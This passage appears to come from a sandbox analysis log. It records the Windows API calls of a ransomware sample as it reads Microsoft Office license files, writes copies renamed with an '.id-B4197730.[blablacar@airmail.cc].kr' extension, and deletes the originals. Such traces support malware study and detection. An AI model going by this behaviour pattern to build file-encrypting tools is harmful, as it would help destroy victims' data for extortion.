returned 83 [0205.403] lstrlenW (lpString=".doc") returned 4 [0205.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.403] lstrlenW (lpString=".docx") returned 5 [0205.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.403] lstrlenW (lpString=".pdf") returned 4 [0205.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.403] lstrlenW (lpString=".xls") returned 4 [0205.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.403] lstrlenW (lpString=".xlsx") returned 5 [0205.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.403] lstrlenW (lpString=".ppt") returned 4 [0205.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.403] lstrlenW (lpString=".zip") returned 4 [0205.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString=".rar") returned 4 [0205.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString=".bz2") returned 4 [0205.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString=".7z") returned 3 [0205.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.404] lstrlenW (lpString=".dbf") returned 4 [0205.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.404] lstrlenW (lpString=".1cd") returned 4 [0205.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.404] lstrlenW (lpString=".jpg") returned 4 [0205.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.404] lstrlenW (lpString=".doc") returned 4 [0205.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString=".docx") returned 5 [0205.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.404] lstrlenW (lpString=".pdf") returned 4 [0205.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString=".xls") returned 4 [0205.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString=".xlsx") returned 5 [0205.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.404] lstrlenW (lpString=".ppt") returned 4 [0205.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.404] lstrlenW (lpString=".zip") returned 4 [0205.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.405] lstrlenW (lpString=".rar") returned 4 [0205.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.405] lstrlenW (lpString=".bz2") returned 4 [0205.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.405] lstrlenW (lpString=".7z") returned 3 [0205.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.405] lstrlenW (lpString=".dbf") returned 4 [0205.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.405] lstrlenW (lpString=".1cd") returned 4 [0205.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.405] lstrlenW (lpString=".jpg") returned 4 [0205.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.405] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.405] lstrlenW (lpString="O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 33 [0205.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0205.406] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=24369) returned 1 [0205.406] CloseHandle (hObject=0x548) returned 1 [0205.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 0x220 [0205.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0205.407] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.407] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0205.408] GetLastError () returned 0x0 [0205.408] ReadFile (in: hFile=0x548, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5f31, lpOverlapped=0x0) returned 1 [0205.683] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5f40, lpOverlapped=0x0) returned 1 [0205.866] ReadFile (in: hFile=0x548, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.866] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0205.866] SetEndOfFile (hFile=0x538) returned 1 [0205.866] CloseHandle (hObject=0x538) returned 1 [0205.866] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.866] SetEndOfFile (hFile=0x548) returned 1 [0205.869] CloseHandle (hObject=0x548) returned 1 [0205.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.871] lstrlenW (lpString=".doc") returned 4 [0205.871] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString=".docx") returned 5 [0205.871] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.871] lstrlenW (lpString=".pdf") returned 4 [0205.871] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString=".xls") returned 4 [0205.871] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString=".xlsx") returned 5 [0205.871] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.871] lstrlenW (lpString=".ppt") returned 4 [0205.871] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.871] lstrlenW (lpString=".zip") returned 4 [0205.871] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString=".rar") returned 4 [0205.871] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString=".bz2") returned 4 [0205.871] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString=".7z") returned 3 [0205.871] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.871] lstrlenW (lpString=".dbf") returned 4 [0205.871] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.872] lstrlenW (lpString=".1cd") returned 4 [0205.872] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.872] lstrlenW (lpString=".jpg") returned 4 [0205.872] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.872] lstrlenW (lpString=".doc") returned 4 [0205.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString=".docx") returned 5 [0205.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.872] lstrlenW (lpString=".pdf") returned 4 [0205.872] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString=".xls") returned 4 [0205.872] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString=".xlsx") returned 5 [0205.872] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.872] lstrlenW (lpString=".ppt") returned 4 [0205.872] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.872] lstrlenW (lpString=".zip") returned 4 [0205.872] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString=".rar") returned 4 [0205.872] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString=".bz2") returned 4 [0205.872] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.872] lstrlenW (lpString=".7z") returned 3 [0205.872] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.872] lstrlenW (lpString=".dbf") returned 4 [0205.872] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.873] lstrlenW (lpString=".1cd") returned 4 [0205.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0205.873] lstrlenW (lpString=".jpg") returned 4 [0205.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.873] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.873] lstrlenW (lpString="O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 36 [0205.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0205.874] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11630) returned 1 [0205.874] CloseHandle (hObject=0x548) returned 1 [0205.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0205.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0205.875] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.875] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0205.876] GetLastError () returned 0x0 [0205.876] ReadFile (in: hFile=0x548, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0205.989] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0205.990] ReadFile (in: hFile=0x548, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.990] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11c, lpOverlapped=0x0) returned 1 [0205.990] SetEndOfFile (hFile=0x538) returned 1 [0205.990] CloseHandle (hObject=0x538) returned 1 [0205.991] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.991] SetEndOfFile (hFile=0x548) returned 1 [0206.022] CloseHandle (hObject=0x548) returned 1 [0206.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 1 [0206.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.243] lstrlenW (lpString=".doc") returned 4 [0206.243] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.243] lstrlenW (lpString=".docx") returned 5 [0206.243] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.243] lstrlenW (lpString=".pdf") returned 4 [0206.243] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.243] lstrlenW (lpString=".xls") returned 4 [0206.243] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.243] lstrlenW (lpString=".xlsx") returned 5 [0206.243] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.243] lstrlenW (lpString=".ppt") returned 4 [0206.243] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.243] lstrlenW (lpString=".zip") returned 4 [0206.244] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString=".rar") returned 4 [0206.244] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString=".bz2") returned 4 [0206.244] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString=".7z") returned 3 [0206.244] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.244] lstrlenW (lpString=".dbf") returned 4 [0206.244] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.244] lstrlenW (lpString=".1cd") returned 4 [0206.244] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.244] lstrlenW (lpString=".jpg") returned 4 [0206.244] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.244] lstrlenW (lpString=".doc") returned 4 [0206.244] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString=".docx") returned 5 [0206.244] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.244] lstrlenW (lpString=".pdf") returned 4 [0206.244] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString=".xls") returned 4 [0206.244] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString=".xlsx") returned 5 [0206.244] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.244] lstrlenW (lpString=".ppt") returned 4 [0206.244] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.244] lstrlenW (lpString=".zip") returned 4 [0206.244] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.245] lstrlenW (lpString=".rar") returned 4 [0206.245] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.245] lstrlenW (lpString=".bz2") returned 4 [0206.245] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.245] lstrlenW (lpString=".7z") returned 3 [0206.245] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.245] lstrlenW (lpString=".dbf") returned 4 [0206.245] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.245] lstrlenW (lpString=".1cd") returned 4 [0206.245] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0206.245] lstrlenW (lpString=".jpg") returned 4 [0206.245] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.245] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.245] lstrlenW (lpString="O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 41 [0206.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.246] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11215) returned 1 [0206.246] CloseHandle (hObject=0x578) returned 1 [0206.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 0x220 [0206.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.247] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.247] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.248] GetLastError () returned 0x0 [0206.248] ReadFile (in: hFile=0x578, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0206.260] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0206.261] ReadFile (in: hFile=0x578, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0206.261] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x126, lpOverlapped=0x0) returned 1 [0206.262] SetEndOfFile (hFile=0x450) returned 1 [0206.263] CloseHandle (hObject=0x450) returned 1 [0206.263] SetFilePointerEx (in: hFile=0x578, 